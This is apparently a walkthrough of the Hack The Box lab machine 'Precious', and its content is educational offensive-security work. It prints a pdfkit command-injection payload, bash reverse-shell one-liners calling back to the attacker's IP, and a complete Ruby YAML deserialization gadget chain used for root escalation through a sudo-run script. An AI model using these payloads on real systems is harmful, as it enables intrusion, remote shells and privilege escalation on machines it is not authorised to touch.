Hack The Box - Precious

Introduction

Precious is an easy rated Linux machine where as usual proper enumeration will show you the path to victory. Let’s get to it!

Initial Enumeration

Nmap scan

# Nmap 7.93 scan initiated Fri Mar 10 15:52:27 2023 as: nmap -T3 -Pn -O -p T:22,80 -sV --script=default,http-vuln-cve2010-0738.nse,http-vuln-cve2011-3192.nse,http-vuln-cve2014-2126.nse,http-vuln-cve2014-2127.nse,http-vuln-cve2014-2128.nse,http-vuln-cve2014-2129.nse,http-vuln-cve2015-1635.nse,http-vuln-cve2017-1001000.nse -oN /storage/HackTheBox/Precious/nmap_vuln_10.10.11.189.scan 10.10.11.189
Nmap scan report for 10.10.11.189
Host is up (0.0069s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 10 15:52:37 2023 -- 1 IP address (1 host up) scanned in 10.50 seconds

HTTP

Since we only have ports 22 and 80 open it is pretty clear that we should head over to the web portion of this challenge. Trying to access the website via IP address will redirect us to http://precious.htb so we will need to add 10.10.11.189 precious.htb to our /etc/hosts file. Once this is done we can navigate to the site and are greeted with a very simple web page that claims to convert web pages to PDF files.

My first thought here was that since we can easily spin up a web server we have something we have complete control over. Perhaps we could have a web page with some code that would get executed when the PDF is created? This could be a lot of guesswork but maybe we can find out more information with some enumeration. Since it doesn’t seem like we can load any remote URLs (ex: google.com) it seems like we are being pointed to use our own web server anyhow.

Since we are dealing with a web page it helps to have BurpSuite open to take a look at things. Open up BurpSuite, set your proxy, settings and load the page. Loading the base site does not offer much at all. The page source is minimal and BurpSuite does not show any other useful files or directories. As I mentioned before we can easily spin up a web server with python3 -m http.server 80, so let’s do that and make a request to our IP.

Without having an index.html file the PDF that is generated is a directory listing of the directory we happened start the web server in. If the proxy intercept was on in BurpSuite then a request should have come through and been held until forward was clicked. The weird thing is that there is no new logs in history, and there is a good reason for this. In the Proxy / HTTP history tab just above the history there is a line indicating that there is a filter.

Clicking on this brings up the settings for the filter. Clicking on show all and hitting apply will allow us to see the returned PDF file.

Exploring the PDF

Now we can see the contents of this PDF file which contains some very useful information. Line 19 in my response shows ‘/Creator wkhtmltopdf 0.12.6’ however it turns out that this is not the important bit. I got a bit distracted here and started researching and trying to exploit this instead of looking over the whole file. It would make sense to enumerate everything fully before looking into exploits so we don’t end up down rabbit holes and hopefully one day I’ll actually follow my own advice, but I digress.

Much further down the file we find the important bit, again prefaced with /Creator, but this time it says ‘Generated by pdfkit v0.8.6’.

And there we have our exploit vector.

Alternate exploration of the PDF

Another thing we could have done to find this information was to download the PDF and check it with exiftool. We wouldn’t have needed to change the filters on BurpSuite and since the information we are looking for is EXIF data, it is cleanly displayed with exiftool. Download the PDF with your browser of choice and run exiftool filename.pdf

Getting User

Since we have fully enumerated the PDF file we have some programs and version numbers to check out. Checking Google for ‘pdfkit v0.8.6’ does find that pdfkit is vulnerable to command injection as seen here. Snyk provides us a nice proof of concept we can use to test that this works. The payload they provide uses the ‘sleep’ command to delay the output by five seconds. Since we know that precious.htb is communicating successfully with our websever, let’s replace the example.com with our own IP address. Let’s even change the 5 to a 10 to make this extra obvious. Give the webpage the payload of http://10.10.14.22/?name=#{'%20`sleep 10`'} (replacing the IP address with your own), click submit, and wait a while. This should have taken much longer than before to return a result.

We can be pretty confident that this command injection is working, but as one other good proof of concept I like to make sure I can ping my own machine. We can monitor for the ping using tcpdump and filtering for only ICMP traffic. In another window run tcpdump -i tun0 icmp and change the payload to http://10.10.14.22/?name=#{'%20`ping -c 1 10.10.14.22`'} (the -c 1 portion being very important since if we do not have it the box will ping us continuously) and click submit. If things are working properly we should receive a ping from Precious.

Bingo. So now we should be able to modify the payload to get a reverse shell. This might take some trial and error but since we have verified that we have command execution and Precious can talk to us we should be able to get something to work. I found http://10.10.14.22/?name=#{'%20`bash -c 'bash -i >& /dev/tcp/10.10.14.22/6868 0>&1'`'} to be successful. Be sure to have a netcat listener open on the port (6868 in this example) specified!

Henry

Now that we are on the machine it’s back to enumeration mode. First let’s stabilize the shell with python3 -c 'import pty; pty.spawn("/bin/bash")', CTRL+z, stty raw -echo;fg. At this point we could pull over an enumeration script but I think it is incredibly valuable to do some manual poking first. Learning what should be on a machine and knowing what is out of place is an important skill to have.

See the date on the .bundle directory? That directory is not a normal directory to find in a home directory either. Sure enough, taking a look inside we find a config file with some credentials.

If we check ‘/etc/passwd’ or even type id henry we find that henry has an account on this machine. If we think back to our Nmap scan, SSH was open so perhaps we can use these credentials to log into the machine via SSH which is a bit nicer than our reverse shell.

:)

Don’t forget to grab the user flag! (although I’m sure you don’t need the reminder…)

Getting Root

Once again we are back to enumeration mode, and once again before using an enumeration script let’s poke around and see what we can find. On this machine we find that henry can run a sudo command with sudo -l.

Taking a look at the /opt/update_dependencies.rb file, it tells us that it will ‘Compare installed dependencies with those specified in “dependencies.yml”’. Much like the web server we started with, we want to find something that we have control over. In this case we have control over the dependencies.yml file since we can put whatever we want inside of it, but how does this help? Looking at the script we see that ‘YAML.load(File.read(“dependencies.yml”))’ is being used to open and read the file. A quick Google search for ruby yaml.load exploit tells us we are on the correct path.

I came across this site here which had a nice payload already made for us, aside from the part where there is an extra space in the beginning of each line for the sleep POC. YAML is very sensitive to spaces so if the sleep POC was copied the exploit would not run.

With that said, we can take the sleep POC, remove the extra spaces, and modify the payload to something better. Remember that ping command we did with testing command injection for pdfkit? Let’s do that again. All that we need to do is modify the ‘Sleep 600’ to be ‘“ping -c 1 10.10.14.22”’ and we are in business. Of course you could have skipped ahead in the article and taken the reverse shell code, but if something had gone wrong an assumption could have been made that we were on the wrong track. I find it best to start simple, so we end up with the following payload:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "ping -c 1 10.10.14.22"
         method_id: :resolve 

We could save this as a file on our local machine and transfer it over, or create the file on Precious and paste it in. I chose to create this in /dev/shm/dependencies.yml and paste the contents into the file. VI was being annoying here so better luck may be had with nano. It is worth noting that Precious does have some automated cleanup going on, so if the timing is bad the file may be removed before being ran.

Once the file is created, we setup the same listener with tcpdump as before, tcpdump -i tun0 icmp and fire off the command with sudo /usr/bin/ruby /opt/update_dependencies.rb.

We get a whole bunch of errors from Precious, but if we scroll up we do see the output of the ping command, and we also see that the ping was received on our host machine. Once again our proof of concept is working so all that is left is to modify it to get a reverse shell.

Since this article already had a reverse shell payload we can copy that; "bash -c 'bash -i >& /dev/tcp/10.10.14.22/6868 0>&1'" while changing the IP and port as necessary. Be sure to start a netcat listener on the specified port (nc -lvnp 6868), then run the command.

Boom.